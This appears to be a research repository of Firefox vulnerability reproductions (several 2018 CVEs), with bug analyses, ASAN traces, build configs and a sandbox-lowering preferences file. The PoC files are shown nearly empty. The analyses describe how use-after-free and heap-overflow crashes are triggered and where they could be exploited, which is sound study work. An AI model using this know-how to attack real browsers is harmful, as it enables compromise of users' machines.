https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-18492/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-18492 2 | 3 | A use-after-free vulnerability can occur after deleting a selection element due to a weak reference to the select element in the options collection. This results in a potentially exploitable crash. This vulnerability affects Thunderbird < 60.4, Firefox ESR < 60.4, and Firefox < 64. 4 | 5 | ## Firefox 6 | 7 | I tested this vulnerability with Firefox 63.0.3 ASAN+Fuzzing build downloaded from [here](https://ftp.mozilla.org/pub/firefox/releases/63.0.3/source/). The mozconfig I used is [here](https://github.com/ZihanYe/Firefox-Exploitation/blob/master/Manual%20Exploitation/CVE-2018-18492/mozconfig). 8 | 9 | To build it, I had to downgrade my rust to 1.28.0 according to [Firefox's Rust Update policy](https://wiki.mozilla.org/Rust_Update_Policy_for_Firefox). 10 | 11 | In order for making Firefox opening the PoC file without any other disruption, I used some customized preferences. Preferences can be set in ```about:config``` page in Firefox by searching for preferences listed in [user.js](https://github.com/ZihanYe/Firefox-Exploitation/blob/master/Manual%20Exploitation/CVE-2018-18492/user.js), or if you are running Firefox in headless mode (```--headless```), then create a new profile like this: 12 | 13 | ``` 14 | mkdir -p /path/to/firefox/build/directory/tmp/customized_profile 15 | ``` 16 | and move [user.js]() under the new profile folder. 17 | 18 | Run firefox with options ```--headless --no-remote --profile /path/to/the/profile/folder/just/created file:///path/to/crash.html``` 19 | 20 | 21 | ## PoC 22 | 23 | ![](images/crash.png) 24 | 25 | The vulnerability happens when ```o995=o577.add(o651);``` is executed. When adding o651 to o577, we want to remove ```o651``` from its old parent o261, which trigger the callback function registered with ```DOMNodeRemoved``` event. In the callback function, we set a couple of things to null and force garbage collection, when returning to the original context, there are dangling pointers. 26 | 27 | ## Where the free is triggered 28 | 29 | In Line 3 and 5, an ```HTMLSelectElement``` object A and an ```HTMLOptionsCollection``` object B is created, corresponding to o260 and o577 respectively. 30 | 31 | ```o995=o577.add(o651);``` calls underlying C++ function ```HTMLOptionsCollection::Add```: 32 | 33 | ![](images/image1.png) 34 | 35 | Its ```mSelect``` points to ```HTMLSelectElement``` object A (associated with o260). ```mSelect->Add``` is called. Within ```Add```, it calls ```AppendChild``` (Line 580) and results in the following stack trace: 36 | 37 | ![](images/image3.png) 38 | 39 | Note that all these functions are functions of A itself. ```this``` is still pointing to object A. Inside function ```nsINode::ReplaceOrInsertBefore```, it check if the node about to be inserted has an parent already, if so, it firstly remove the node from Children list of its old parent. This is where a node is removed (Line 2320) and event 'DOMNodeRemoved' is triggered. 40 | 41 | ![](images/image4.png) 42 | 43 | Then within the callback function, A (i.e o260 in Javascript) is freed. However we still return to the original context, that is, ```ReplaceOrInsertBefore``` of A. The screenshot below illustrates the vulnerability: 44 | 45 | ![](images/image5.png) 46 | 47 | At this point, ```this``` is a dangling pointer. ASAN reports when it access other data inside the object afterwards. 48 | 49 | ``` 50 | READ of size 8 at 0x612000225068 thread T0 51 | #0 0x7f20456d1ad3 in nsINode::IsDocument() const /home/ug16zy2/firefox-63.0.3/dom/base/nsINode.h:418 52 | #1 0x7f20456d1ad3 in IsAllowedAsChild /home/ug16zy2/firefox-63.0.3/dom/base/nsINode.cpp:2120 53 | #2 0x7f20457f5898 in nsINode::EnsurePreInsertionValidity2(bool, nsINode&, nsINode*, mozilla::ErrorResult&) /home/ug16zy2/firefox-63.0.3/dom/base/nsINode.cpp:2269 54 | #3 0x7f20457f5898 in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /home/ug16zy2/firefox-63.0.3/dom/base/nsINode.cpp:2335 55 | #4 0x7f2048be24b9 in nsINode::InsertBefore(nsINode&, nsINode*, mozilla::ErrorResult&) /home/ug16zy2/firefox-63.0.3/dom/base/nsINode.h:1798 56 | #5 0x7f2048be24b9 in nsINode::AppendChild(nsINode&, mozilla::ErrorResult&) /home/ug16zy2/firefox-63.0.3/dom/base/nsINode.h:1802 57 | #6 0x7f2048be24b9 in mozilla::dom::HTMLSelectElement::Add(nsGenericHTMLElement&, nsGenericHTMLElement*, mozilla::ErrorResult&) /home/ug16zy2/firefox-63.0.3/dom/html/HTMLSelectElement.cpp:580 58 | ``` 59 | 60 | ## Exploitation 61 | 62 | As on Javascript level, o260 has been set to null, so there should be no way to access any pointer to the underlying ```HTMLSelectElement```. We can exploit dereferences happening after returning from the callback and before ```HTMLSelectElement::Add``` returns, as "this" pointer still points to the freed object. 63 | 64 | 65 | ## Reference: 66 | 67 | [1] [Bug Report](https://bugzilla.mozilla.org/show_bug.cgi?id=1499861) 68 | 69 | 70 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/crash.html: -------------------------------------------------------------------------------- 1 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/images/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-18492/images/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/images/crash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-18492/images/crash.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/images/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-18492/images/image1.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/images/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-18492/images/image2.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/images/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-18492/images/image3.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/images/image4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-18492/images/image4.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/images/image5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-18492/images/image5.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/mozconfig: -------------------------------------------------------------------------------- 1 | #for debug with asan build and jitspew 2 | 3 | # Combined .mozconfig file for ASan on Linux+Mac 4 | 5 | mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/objdir-ff-asan 6 | 7 | # Enable ASan specific code and build workarounds 8 | ac_add_options --enable-address-sanitizer 9 | 10 | # Add ASan to our compiler flags 11 | export CFLAGS="-fsanitize=address -U_FORTIFY_SOURCE -Dxmalloc=myxmalloc -fPIC" 12 | export CXXFLAGS="-fsanitize=address -U_FORTIFY_SOURCE -Dxmalloc=myxmalloc -fPIC" 13 | 14 | # Additionally, we need the ASan flag during linking. Normally, our C/CXXFLAGS would 15 | # be used during linking as well but there is at least one place in our build where 16 | # our CFLAGS are not added during linking. 17 | # Note: The use of this flag causes Clang to automatically link the ASan runtime :) 18 | export LDFLAGS="-fsanitize=address -Wl,--no-as-needed -ldl" 19 | 20 | # These three are required by ASan 21 | ac_add_options --disable-jemalloc 22 | ac_add_options --disable-crashreporter 23 | ac_add_options --disable-elf-hack 24 | 25 | # Keep symbols to symbolize ASan traces later 26 | export MOZ_DEBUG_SYMBOLS=1 27 | ac_add_options --enable-debug-symbols 28 | ac_add_options --disable-install-strip 29 | 30 | # Settings for an opt build (preferred) 31 | # The -gline-tables-only ensures that all the necessary debug information for ASan 32 | # is present, but the rest is stripped so the resulting binaries are smaller. 33 | ac_add_options --enable-optimize=-O2 34 | ac_add_options --disable-debug 35 | 36 | # Settings for a debug build 37 | # ac_add_options --disable-optimize 38 | # ac_add_options --enable-debug 39 | 40 | ac_add_options --enable-valgrind 41 | ac_add_options --disable-profiling 42 | ac_add_options --enable-tests 43 | 44 | # fuzzing 45 | ac_add_options --enable-fuzzing -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/user.js: -------------------------------------------------------------------------------- 1 | user_pref("browser.shell.checkDefaultBrowser", false); 2 | user_pref("general.warnOnAboutConfig", false); 3 | user_pref("fuzzing.enabled", true); 4 | user_pref("browser.tabs.remote.autostart", false); 5 | user_pref("security.sandbox.content.level", 1); 6 | user_pref("toolkit.startup.max_resumed_crashes", -1); 7 | user_pref("browser.startup.page", 0); 8 | user_pref("browser.shell.checkDefaultBrowser", false); 9 | user_pref("browser.sessionstore.resume_from_crash", false); 10 | user_pref("browser.tabs.warnOnOpen", false); 11 | user_pref("browser.tabs.warnOnClose", false); 12 | user_pref("security.insecure_field_warning.contextual.enabled", false); 13 | user_pref("security.insecure_password.ui.enabled", false); -------------------------------------------------------------------------------- /Firefox/CVE-2018-5093/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5093/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5093/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5093 2 | 3 | ## Heap-buffer-overflow READ 8 · js::WasmTableObject::getImpl 4 | 5 | A heap buffer overflow vulnerability may occur in WebAssembly during Memory/Table resizing, resulting in a potentially exploitable crash. 6 | 7 | **Type:** heap overflow 8 | 9 | **FF version:** 57.0 (ASAN build) 10 | 11 | 12 | running ```./mach run --debug --disable-e10s --fuzzing-safe ../CVE-2018-5093/crash.html``` 13 | 14 | gives: 15 | 16 | ``` 17 | ================================================================= 18 | ==75534==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020004d2920 at pc 0x7fffdba21012 bp 0x7fffffff1050 sp 0x7fffffff1040 19 | READ of size 8 at 0x6020004d2920 thread T0 20 | #0 0x7fffdba21011 in js::WasmTableObject::getImpl(JSContext*, JS::CallArgs const&) /home/clover/firefox-57.0/js/src/wasm/WasmJS.cpp:1720 21 | #1 0x7fffdba37560 in CallNonGenericMethod /home/clover/firefox-57.0/objdir-ff-asan/dist/include/js/CallNonGenericMethod.h:100 22 | #2 0x7fffdba21692 in js::WasmTableObject::get(JSContext*, unsigned int, JS::Value*) /home/clover/firefox-57.0/js/src/wasm/WasmJS.cpp:1742 23 | #3 0x7fffd9f92250 in js::CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&) (/home/clover/firefox-57.0/objdir-ff-asan/dist/bin/libxul.so+0x14abb250) 24 | #4 0x7fffd9f21173 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/clover/firefox-57.0/js/src/vm/Interpreter.cpp:495 25 | #5 0x7fffd9f219eb in InternalCall /home/clover/firefox-57.0/js/src/vm/Interpreter.cpp:540 26 | #6 0x7fffd9f21ac5 in js::CallFromStack(JSContext*, JS::CallArgs const&) /home/clover/firefox-57.0/js/src/vm/Interpreter.cpp:546 27 | 28 | 29 | ``` 30 | 31 | Reference: 32 | [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1415291 -------------------------------------------------------------------------------- /Firefox/CVE-2018-5093/crash.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5094/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5094/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5094/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5094 2 | 3 | A heap buffer overflow vulnerability may occur in WebAssembly when "shrinkElements" is called followed by garbage collection on memory that is now uninitialized. This results in a potentially exploitable crash. This vulnerability affects Firefox < 58. 4 | 5 | **Type:** heap overflow 6 | 7 | **FF version:** 57.0 (ASAN build) 8 | 9 | Build configuration: 10 | - --enable-address-sanitizer 11 | - --disable-jemalloc 12 | - --disable-crashreporter 13 | - --disable-elf-hack 14 | - --enable-debug-symbols 15 | - --disable-install-strip 16 | - --enable-optimize=-O2 17 | - --disable-debug 18 | - --enable-valgrind 19 | - --disable-profiling 20 | - --disable-tests 21 | - --enable-gczeal 22 | 23 | 24 | running ```./mach run --debug --disable-e10s --ion-eager --fuzzing-safe ../CVE-2018-5094/crash.html``` 25 | 26 | gives: 27 | 28 | ``` 29 | ================================================================= 30 | ==3034==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020003616c0 at pc 0x7fffe613256b bp 0x7ffffffe7910 sp 0x7ffffffe7900 31 | READ of size 8 at 0x6020003616c0 thread T0 32 | #0 0x7fffe613256a in js::WasmTableObject::getImpl(JSContext*, JS::CallArgs const&) /home/clover/firefox-57.0/js/src/wasm/WasmJS.cpp:1720 33 | #1 0x7fffe61328ea in CallNonGenericMethod /home/clover/firefox-57.0/objdir-ff-asan/dist/include/js/CallNonGenericMethod.h:100 34 | #2 0x7fffe61328ea in js::WasmTableObject::get(JSContext*, unsigned int, JS::Value*) /home/clover/firefox-57.0/js/src/wasm/WasmJS.cpp:1742 35 | 36 | ``` 37 | 38 | Reference: 39 | [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1415291 -------------------------------------------------------------------------------- /Firefox/CVE-2018-5094/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5097/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5097/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5097/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5097 2 | 3 | heap-use-after-free in txNameTest::matches 4 | 5 | ## Firefox 6 | 7 | I tested this vulnerability with Firefox 56.0 ASAN build downloaded from [here](https://ftp.mozilla.org/pub/firefox/releases/56.0/source/). 8 | 9 | To build it, I had to downgrade my rust to 1.19.0 according to [Firefox's Rust Update policy](https://wiki.mozilla.org/Rust_Update_Policy_for_Firefox). 10 | 11 | In order for making Firefox opening the PoC file without any other disruption, I used some customized preferences. Preferences can be set in ```about:config``` page in Firefox by searching for preferences listed in [user.js](https://github.com/ZihanYe/Firefox-Exploitation/blob/master/Manual%20Exploitation/CVE-2017-7828/user.js), or if you are running Firefox in headless mode (```--headless```), then create a new profile like this: 12 | 13 | ``` 14 | mkdir -p /path/to/firefox/build/directory/tmp/customized_profile 15 | ``` 16 | and move [user.js]() under the new profile folder. 17 | 18 | Run firefox with options ```--headless --no-remote --profile /path/to/the/profile/folder/just/created file:///path/to/crash.html``` 19 | 20 | 21 | ## PoC 22 | 23 | From the ASAN report, the freed object is an nsTextNode, allocated in 24 | 25 | ``` 26 | nsXMLContentSink::FlushText(bool) /home/ug16zy2/firefox-56.0/dom/xml/nsXMLContentSink.cpp:772 27 | ``` 28 | 29 | Setting breakpoints on ``` nsTextNode::~nsTextNode()```, we can see a sequence of text nodes being freed. 30 | 31 | Then ```txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) in ./dom/xslt/xslt/txMozillaXSLTProcessor.cpp``` is invoked at some point. Inside this function: 32 | 33 | ``` 34 | txExecutionState es(mStylesheet, IsLoadDisabled()); 35 | nsresult rv = es.init(*sourceNode, &mVariables); 36 | ``` 37 | 38 | a ```txExecutionState``` is created, which has a pointer ```(txNodeSetContext*) mEvalContext``` to a ```txNodeSetContext```, which then has a pointer ```(RefPtr) mContextSet``` referencing a ```txNodeSet```. ```mContextSet``` has a pointer (**dangling pointer**) to the freed text node. 39 | 40 | Then ```txXSLTProcessor``` is executed and it tries to apply templates on each items in ```txNodeSet```, which dereferences the dangling pointer at some point, for example: 41 | 42 | ``` 43 | #6 0x7fe8711b3514 in txStylesheet::findTemplate(txXPathNode const&, txExpandedName const&, txIMatchContext*, txStylesheet::ImportFrame*, txInstruction**, txStylesheet::ImportFrame**) /home/worker/workspace/build/src/dom/xslt/xslt/txStylesheet.cpp:133:45 44 | #7 0x7fe87117045a in txApplyTemplates::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:85:26 45 | #8 0x7fe8711d347d in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:21 46 | #9 0x7fe87119ce9a in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) 47 | ``` 48 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5097/crash.html: -------------------------------------------------------------------------------- 1 | 37 | 38 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5097/math.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 0 1 0 6 | 7 | 8 | 0 0 1 9 | 10 | 11 | 1 0 0 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5097/mathml.xsl: -------------------------------------------------------------------------------- 1 | 9 | 10 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5097/pmathml.xsl: -------------------------------------------------------------------------------- 1 | 14 | 15 | 24 | 25 | 28 | 29 | 30 | 31 | 32 | '<!--' 33 | 34 | 35 | 36 | 37 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 53 | 54 | 55 | 72 | 73 | 74 | 75 | 76 | in mpdialog mode, we just write out some JavaScript to display 77 | dialog to the reader asking whether they want to install MathPlayer 78 | Depending on the response we get, we then instantiate an XSL processor 79 | and reprocess the doc, passing $secondpass according to the 80 | reader response. 81 | 82 | Using d-o-e is fairly horrible, but this code is only for IE 83 | anyway, and we need to force HTML semantics in this case. 84 | 85 | 86 | var cookieName = "MathPlayerInstall="; 87 | function MPInstall(){ 88 | var showDialog=true; 89 | var c = document.cookie; 90 | var i = c.indexOf(cookieName); 91 | if (i >= 0) { 92 | if ( c.substr(i + cookieName.length, 1) >= 2) { showDialog=false; } 93 | } 94 | if (showDialog) { 95 | MPDialog(); 96 | c = document.cookie; 97 | i = c.indexOf(cookieName); 98 | } 99 | if (i >= 0) return c.substr(i + cookieName.length, 1); 100 | else return null; 101 | } 102 | 103 | function MPDialog() { 104 | var vArgs=""; 105 | var sFeatures="dialogWidth:410px;dialogHeight:190px;help:off;status:no"; 106 | var text = ""; 107 | text += "javascript:document.write('" 108 | text += '<script>' 109 | text += 'function fnClose(v) { ' 110 | text += 'var exp = new Date();' 111 | text += 'var thirtyDays = exp.getTime() + (30 * 24 * 60 * 60 * 1000);' 112 | text += 'exp.setTime(thirtyDays);' 113 | text += 'var cookieProps = ";expires=" + exp.toGMTString();' 114 | text += 'if (document.forms[0].dontask.checked) v+=2;' 115 | text += 'document.cookie="' + cookieName + '"+v+cookieProps;' 116 | text += 'window.close();' 117 | text += '}' 118 | text += '</' + 'script>' 119 | text += '<head><title>Install MathPlayer?</title></head>' 120 | text += '<body bgcolor="#D4D0C8"><form>' 121 | text += '<table cellpadding=10 style="font-family:Arial;font-size:10pt" border=0 width=100%>' 122 | text += '<tr><td align=left>This page requires Design Science\\\'s MathPlayer&trade;.<br>' 123 | text += 'Do you want to download and install MathPlayer?</td></tr>'; 124 | text += '<tr><td align=center><input type="checkbox" name="dontask">' 125 | text += 'Don\\\'t ask me again</td></tr>' 126 | text += '<tr><td align=center><input id=yes type="button" value=" Yes "' 127 | text += ' onClick="fnClose(1)">&nbsp;&nbsp;&nbsp;' 128 | text += '<input type="button" value=" No " onClick="fnClose(0)"></td></tr>' 129 | text += '</table></form>'; 130 | text += '</body>' 131 | text += "')" 132 | window.showModalDialog( text , vArgs, sFeatures ); 133 | } 134 | 135 | function WaitDialog() { 136 | var vArgs=""; 137 | var sFeatures="dialogWidth:510px;dialogHeight:150px;help:off;status:no"; 138 | var text = ""; 139 | text += "javascript:document.write('" 140 | text += '<script>' 141 | text += 'window.onload=fnLoad;' 142 | text += 'function fnLoad() {document.forms[0].yes.focus();}' 143 | text += 'function fnClose(v) { ' 144 | text += 'window.returnValue=v;' 145 | text += 'window.close();' 146 | text += '}' 147 | text += '</' + 'script>' 148 | text += '<head><title>Wait for Installation?</title></head>' 149 | text += '<body bgcolor="#D4D0C8" onload="fnLoad()"><form><' 150 | text += 'table cellpadding=10 style="font-family:Arial;font-size:10pt" border=0 width=100%>' 151 | text += '<tr><td align=left>Click OK once MathPlayer is installed ' 152 | text += 'to refresh the page.<br>' 153 | text += 'Click Cancel to view the page immediately without MathPlayer.</td></tr>'; 154 | text += '<tr><td align=center><input id=yes type="button" ' 155 | text += 'value=" OK " onClick="fnClose(1)">&nbsp;&nbsp;&nbsp;' 156 | text += '<input type="button" value="Cancel" onClick="fnClose(0)"></td></tr>' 157 | text += '</table></form>'; 158 | text += '</body>' 159 | text += "')" 160 | return window.showModalDialog( text , vArgs, sFeatures ); 161 | } 162 | 163 | var result = MPInstall(); 164 | 165 | var action = "fallthrough"; 166 | if (result == 1 || result == 3) { 167 | window.open("http://www.dessci.com/webmath/mathplayer"); 168 | var wait = WaitDialog(); 169 | if ( wait == 1) { 170 | action = "install"; 171 | document.location.reload(); 172 | 173 | } 174 | } 175 | if (action == "fallthrough") { 176 | var xsl = new ActiveXObject("Microsoft.FreeThreadedXMLDOM"); 177 | xsl.async = false; 178 | xsl.validateOnParse = false; 179 | xsl.load("pmathmlcss.xsl"); 180 | var xslTemplate = new ActiveXObject("MSXML2.XSLTemplate.3.0"); 181 | xslTemplate.stylesheet=xsl.documentElement; 182 | var xslProc = xslTemplate.createProcessor(); 183 | xslProc.input = document.XMLDocument; 184 | 185 | xslProc.transform(); 186 | var str = xslProc.output; 187 | 188 | var repl = "replace"; 189 | if (window.navigator.appVersion.match(/Windows NT 5.1/)) { repl = ""; } 190 | var newDoc = document.open("text/html", repl); 191 | newDoc.write(str); 192 | document.close(); 193 | } 194 | 195 | 196 | mathplayer-dl 197 | 198 | techexplorer-plugin 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | techexplorer-plugin 207 | 208 | 209 | 210 | 211 | mathplayer-dl 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | IE5 hacks 225 | This code will be ignored by an XSLT engine as a top level 226 | element in a foreign namespace. It will be executed by an IE5XSL 227 | engine and insert <!-- into the output stream, ie the start of a 228 | comment. This will comment out all the XSLT code which will be copied 229 | to the output. A similar clause below will close this comment, it is 230 | then followed by the IE5XSL templates to be executed. 231 | This trick is due to Jonathan Marsh of Microsoft, and used in 232 | the stylesheet for 233 | the XPath 2 data model draft. 234 | 235 | 236 | XSLT stylesheet 237 | MSXSL script block 238 | 239 | The following script block implements an extension function that 240 | tests whether a specified ActiveX component is known to the client. 241 | This is used below to test for the existence of MathML rendering 242 | components. 243 | 244 | function isinstalled(ax) 245 | { 246 | try { 247 | var ActiveX = new ActiveXObject(ax); 248 | return "true"; 249 | } catch (e) { 250 | return "false"; 251 | } 252 | } 253 | 254 | 255 | The main bulk of this stylesheet is an identity transformation so... 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | XHTML elements are copied sans prefix (XHTML is default namespace 266 | here, so these elements will still be in XHTML namespace 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | IE's treatment of XHTML as HTML needs a little help here... 275 | 276 | 277 | 278 | 279 | 280 | > 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | This just ensures the mathml prefix declaration isn't copied from 292 | the source at this stage, so that the system will use the mml prefix 293 | coming from this stylesheet 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | We modify the head element to add code to specify a Microsoft 302 | "Behaviour" if the behaviour component is known to the system. 303 | Test for MathPlayer (Design Science) 304 | Test for Techexplorer (IBM) 305 | Test for Microsoft. In this case we just 306 | output a small HTML file that executes a script that will re-process 307 | the source docuument with a different stylesheet. Doing things this 308 | way avoids the need to xsl:import the second stylesheet, which would 309 | very much increase the processing overhead of running this 310 | stylesheet. 311 | Further tests (eg for netscape/mozilla) could 312 | be added here if necessary 313 | 314 | 315 | 316 | 317 | 318 | 319 | 321 | 322 | 323 | namespace="mml" implementation="#mmlFactory" 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | Somewhat bizarrely in an otherwise namespace aware system, 372 | Microsoft behaviours are defined to trigger off the 373 | prefix not the Namespace. In the code above 374 | we associated a MathML rendering behaviour (if one was found) with the 375 | prefix mml: so here we ensure that this is the prefix 376 | that actually gets used in the output. 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | Copy semantics element through in IE (so mathplayer gets to see 385 | mathplayer annotations, otherwise use first child or a presentation annotation. 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | > 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | /> 419 | 420 | 421 | 424 | 425 | 426 | " 427 | 428 | 429 | 430 | 431 | 432 | " 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | IE5XSL stylesheet 496 | In a rare fit of sympathy for users of 497 | the-language-known-as-XSL-in-IE5 this file incorporates a 498 | version of the above code designed to work in the Microsoft dialect. 499 | This is needed otherwise users of a MathML rendering behaviour would 500 | have to make a choice whether they wanted to use this stylesheet 501 | (keeping their source documents conforming XHTML+MathML) or to use 502 | the explicit Microsoft Object code, which is less portable, but would 503 | work in at least IE5.5. 504 | 505 | This entire section of code, down to the end of the stylesheet is 506 | contained within this ie5:if. Thus XSLT sees it as a top level element 507 | from a foreign namespace and silently ignores it. IE5XSL sees it as 508 | "if true" and so executes the code. 509 | 510 | 511 | First close the comment started at the beginning. This ensures 512 | that the bulk of the XSLT code, while being copied to the result tree 513 | by the IE5XSL engine, will not be rendered in the browser. 514 | 515 | Lacking attribute value templates in 516 | xsl:element, and the local-name() function, we resort to constructing 517 | the start and end tags in strings in javascript, then using 518 | no-entities attribute which is the IE5XSL equivalent of disable-output-encoding 519 | 520 | 521 | '-->' 522 | 523 | 524 | 525 | 526 | 527 | function mpisinstalled() 528 | { 529 | try { 530 | var ActiveX = new ActiveXObject("MathPlayer.Factory.1"); 531 | return "true"; 532 | } catch (e) { 533 | return "false"; 534 | } 535 | } 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | '<mml:' + this.nodeName.substring(this.nodeName.indexOf(":")+1) 557 | 558 | ' ' + this.nodeName="" 559 | 560 | '>' 561 | 562 | '</mml:' + this.nodeName.substring(this.nodeName.indexOf(":")+1) + '>' 563 | 564 | 565 | 566 | 567 | 568 | 569 | 570 | '<math>' 571 | 572 | '</math>' 573 | 574 | 575 | 576 | 577 | '<mml:' + this.nodeName.substring(this.nodeName.indexOf(":")+1) 578 | 579 | ' ' + this.nodeName="" 580 | 581 | '>' 582 | 583 | '</mml:' + this.nodeName.substring(this.nodeName.indexOf(":")+1) + '>' 584 | 585 | 586 | 587 | 588 | 589 | 590 | 591 | 593 | 594 | 595 | namespace="mml" implementation="#mmlFactory" 596 | 597 | 598 | 599 | 600 | 601 | 602 | 603 | 604 | 605 | 606 | 607 | 608 | 609 | 610 | 611 | 612 | 613 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5100/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5100 2 | 3 | ## Description 4 | 5 | A use-after-free vulnerability can occur when arguments passed to the "IsPotentiallyScrollable" function are freed while still in use by scripts. This results in a potentially exploitable crash. This vulnerability affects Firefox < 58. 6 | 7 | ## Firefox 8 | 9 | I tested this vulnerability with Firefox 56.0 ASAN+Fuzzing build. The mozconfig I used is [here](https://github.com/ZihanYe/Firefox-Exploitation/blob/master/Manual%20Exploitation/CVE-2018-5100/mozconfig). 10 | 11 | To build it, I had to downgrade my rust to 1.19.0 according to [Firefox's Rust Update 